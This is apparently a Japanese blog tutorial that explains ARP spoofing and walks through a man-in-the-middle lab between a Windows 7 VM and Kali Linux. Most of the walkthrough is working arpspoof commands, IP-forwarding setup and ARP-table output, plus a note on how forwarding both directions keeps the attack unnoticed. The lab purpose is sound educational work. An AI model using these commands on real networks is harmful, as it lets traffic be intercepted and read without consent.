ARP スプーフィング

ARP スプーフィング

ARPの仕様を悪用し
ターゲットのARPテーブルを書き換える

ARPテーブルは
IPアドレスとMACアドレスの対応表

これにより
パケットを意図した端末に送信できる

これにより
監視対象のネットワークで
人為的な通信を作ったり介入したりすることで
パケットキャプチャすることができる

ARPスプーフィングの原理は
ARP要求とARP応答は認証がなく
クライアントはARP要求を送ってなくてもARP要求を受け入れてしまうこと
これを悪用し
ARP要求に
偽のMACアドレスを書き込むことで
ARPテーブルの上書きをすること

つまり通信の横取りができる

とはいっても
webページを開いたときに表示されないではバレる

なので
ターゲットをARPスプーフィングし
ルータに届くパケットを攻撃するものに届くようにし
さらに
ルータもARPスプーフィングして
ターゲットに届くパケットを攻撃するものに届くようにしておき
あとは
両方のパケットを転送することで
バレにくくする

このように中間に入り込んで行うので
中間者攻撃
MITM attack
Man-In-The-Middle attack
と言われる

実際に実験するには
仮想マシンの Windows7 試用版
Kali Linux 仮想マシン
を使う

KaliLinux には arpspoof があり
これを使い
ARPスプーフィングができる

arpspoof を2回実行することで
KaliLinux でIP転送機能を有効化することで
アクティブキャプチャができる

なお Windows7試用版は
ライセンス認証しないと起動後1時間後に
自動的にシャットダウンされるので注意

まず windows7 で
windows キーを押しながら r をおし
cmd を入力

これでコマンドプロンプトが起動するので

arp -a

を実行

デフォルトゲートウェイの
Physical Address を確認しておく

次に KaliLinux で
MACアドレス
IPアドレス
を確認

ip addr show eth0

実行結果は

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:f8:42:a7 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.134/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
       valid_lft 86099sec preferred_lft 86099sec
    inet6 fe80::a00:27ff:fef8:42a7/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

ip コマンドについては
ip コマンドチートシート for Red Hat Enterprise Linux

を参考に

そして ルータのIPの確認

route -n

結果は

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    100    0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     100    0        0 eth0

routeコマンドのオプションで
-n を使うと名前解決を行わない

その他オプションについては
routeの主なオプション

を参考に

次にIP転送機能の有効化
1を設定すると有効化
0を設定すると無効になる

echo 1 > /proc/sys/net/ipv4/ip_forward

次に windows7 で wireshark の起動
これでパケットの流れを把握する

次に KaliLinux で
windows7 へ偽情報を送る

arpspoof コマンドで
-i でインターフェース指定
-t でターゲット端末のIPと 書き換えるIPを指定

arpspoof -i eth0 -t 192.168.1.174 192.168.1.1

を実行

この後に windows7 でコマンドプロンプトで

arp -a

を実行すると

Interface: 192.168.1.174 --- 0xf
  Internet Address      Physical Address      Type
  192.168.1.1           60-45-cb-67-e6-38     dynamic
  192.168.1.8           4c-17-44-27-c2-e4     dynamic
  192.168.1.96          08-84-9d-2a-ee-68     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

から

Interface: 192.168.1.174 --- 0xf
  Internet Address      Physical Address      Type
  192.168.1.1           08-00-27-f8-42-a7     dynamic
  192.168.1.8           4c-17-44-27-c2-e4     dynamic
  192.168.1.96          08-84-9d-2a-ee-68     dynamic
  192.168.1.134         08-00-27-f8-42-a7     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.2             01-00-5e-00-00-02     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

と変化しているのがわかる

変わっているのは
192.168.1.1 の Physical Address の部分

この変更された値は KaliLinux のMACアドレスの値

この状態で windows7 で wireshark を起動し
arp で絞り込むと
偽情報を含むARP要求が届いているのがわかる

これでwindows7 の通信するルータのMACアドレスを書き換えたので
次にルータに対しても同様に書き換えをするので
KaliLinux で
ctrl + alt +t で新しい端末を起動

arpspoof -i eth0 -t 192.168.1.1 192.168.1.174

を実行することで
ルータの windows7 のMACアドレスを
KaliLinux に書き換える

あとは Wireshark を起動し
windows7 でwebサイトをみたり
ネットに繋いだりすると
その通信内容をキャプチャすることができる

試しに wireshark で http に絞ってみるとその内容をみることができる

なお正常な値に戻すには
arpspoof を
ctrl + c で停止させればいい

これで再度 windows7 で

arp -a 

を実行すると元の値に戻っているのがわかる

最後に KaliLinux でIP転送機能をOFFにする

echo 0 > /proc/sys/net/ipv4/ip_forward

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です